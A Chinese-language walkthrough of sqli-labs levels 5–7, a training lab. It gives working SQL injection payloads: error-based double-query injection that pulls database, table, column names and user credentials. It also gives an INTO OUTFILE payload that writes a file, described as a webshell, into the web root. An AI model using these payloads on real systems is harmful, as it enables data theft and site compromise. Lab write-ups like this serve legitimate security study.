sqli-labs(5到7关)

sqli-labs-master(5-7关)

参考资料:https://www.jianshu.com/p/a3287fbb20f1

Less-5(双注入GET单引号字符型注入)

方法:双注入或盲注

双查询注入顾名思义形式上是两个嵌套的查询,即select …(select …),里面的那个select被称为子查询,他的执行顺序也是先执行子查询,然后再执行外面的select,双注入主要涉及到了几个sql函数:

rand()随机函数,返回0~1之间的某个值
floor(a)取整函数,返回小于等于a,且值最接近a的一个整数
count()聚合函数也称作计数函数,返回查询对象的总数
group by cluase分组语句,按照cluase对查询结果分组

如果还是不懂可以看此链接:http://www.2cto.com/article/201303/192718.html
1,输入?id=1
sqli-labs(5到7关)_第1张图片输入?id=1’
sqli-labs(5到7关)_第2张图片输入?id=1'and '1'='1'%23
sqli-labs(5到7关)_第3张图片输入?id=1'and '1'='2'%23
sqli-labs(5到7关)_第4张图片

2,还是要获取字段数:
sqli-labs(5到7关)_第5张图片sqli-labs(5到7关)_第6张图片所以可以看出字段数为3

3,最核心的来了,获取数据库名;
双注入的原理总的来说就是,当一个聚合函数后面出现group分组语句时,会将查询的一部分结果以报错的形式返回,他有一个固定的公式。 那么开始构建sql语句:

输入?id=1' union select count(*),2,concat('*',(select database()),'*',floor(rand()*2))as a from information_schema.tables group by a%23
sqli-labs(5到7关)_第7张图片可获取数据库名为 security

4.同样的方法获取表名
输入?id=-1' union select count(*),2,concat('*',(select table_name from information_schema.tables where table_schema='security' limit 0,1),'*',floor(rand()*2)) as a from information_schema.tables group by a%23
sqli-labs(5到7关)_第8张图片不知道为甚麽不可以用group_concat,于是用 limit0,1 遍历所有表明,可获取有四个表,分别是emails,referers,uagents,users

5,获取列
输入?id=-1' union select count(*),2,concat('*',(select column_name from information_schema.columns where table_name='users' limit 1,1),'*',floor(rand()*2)) as a from information_schema.tables group by a%23sqli-labs(5到7关)_第9张图片遍历所有列,获得有8列列名为 first_name,last_name, user, password,avatar,last_login,failed_login,user_id

6,获取数据
输入?id=1' union select count(*),2,concat('*',(select username from users limit 0,1 ),'*',floor (rand()*2)) as a from information_schema.tables group by a%23
sqli-labs(5到7关)_第10张图片输入?id=1' union select count(*),2,concat('*',(select password from users limit 3,1 ),'*',floor (rand()*2)) as a from information_schema.tables group by a%23
sqli-labs(5到7关)_第11张图片这样就可以获取所有数据了

Less-6(双注入GET双引号字符型注入)

本关与第5关一毛一样,只是把单引号换成了双引号罢了
第6关依然不可以用group_concat

Less-7(导出文件GET字符型注)

在网页中打开是这样的:
sqli-labs(5到7关)_第12张图片按照他说的做,在URL里输入?id=1
sqli-labs(5到7关)_第13张图片弹出 use outfile,尝试之前的方法就不行了,他把报错做了处理统一返回“You have an error in your SQL syntax”,而且,他也给出了提示use outfile,MySQL中,可以使用SELECT…INTO OUTFILE语句将表的内容导出为一个文本文件。outfile的固定结构是:select A into outfile B,意思就是将A写入B中,这里的B通常是一个文件路径,A可以是文本内容(小马),也可以是数据库信息,也可以是一句话木马内容。

第一种方法:构造select * from users into outfile “数据库导入导出数据的目录”,先来判断一下我们是否是最高权限

输入?id=1"))and (select count(*) from mysql.users)>0
sqli-labs(5到7关)_第14张图片显示正常,说明的确是最高权限
输入?id= 1')) union select 1,'',3 into outfile 'D:/xampp/htdocs/hhhh.php' %23
sqli-labs(5到7关)_第15张图片sqli-labs(5到7关)_第16张图片sqli-labs(5到7关)_第17张图片文件导出成功

你可能感兴趣的:(web安全)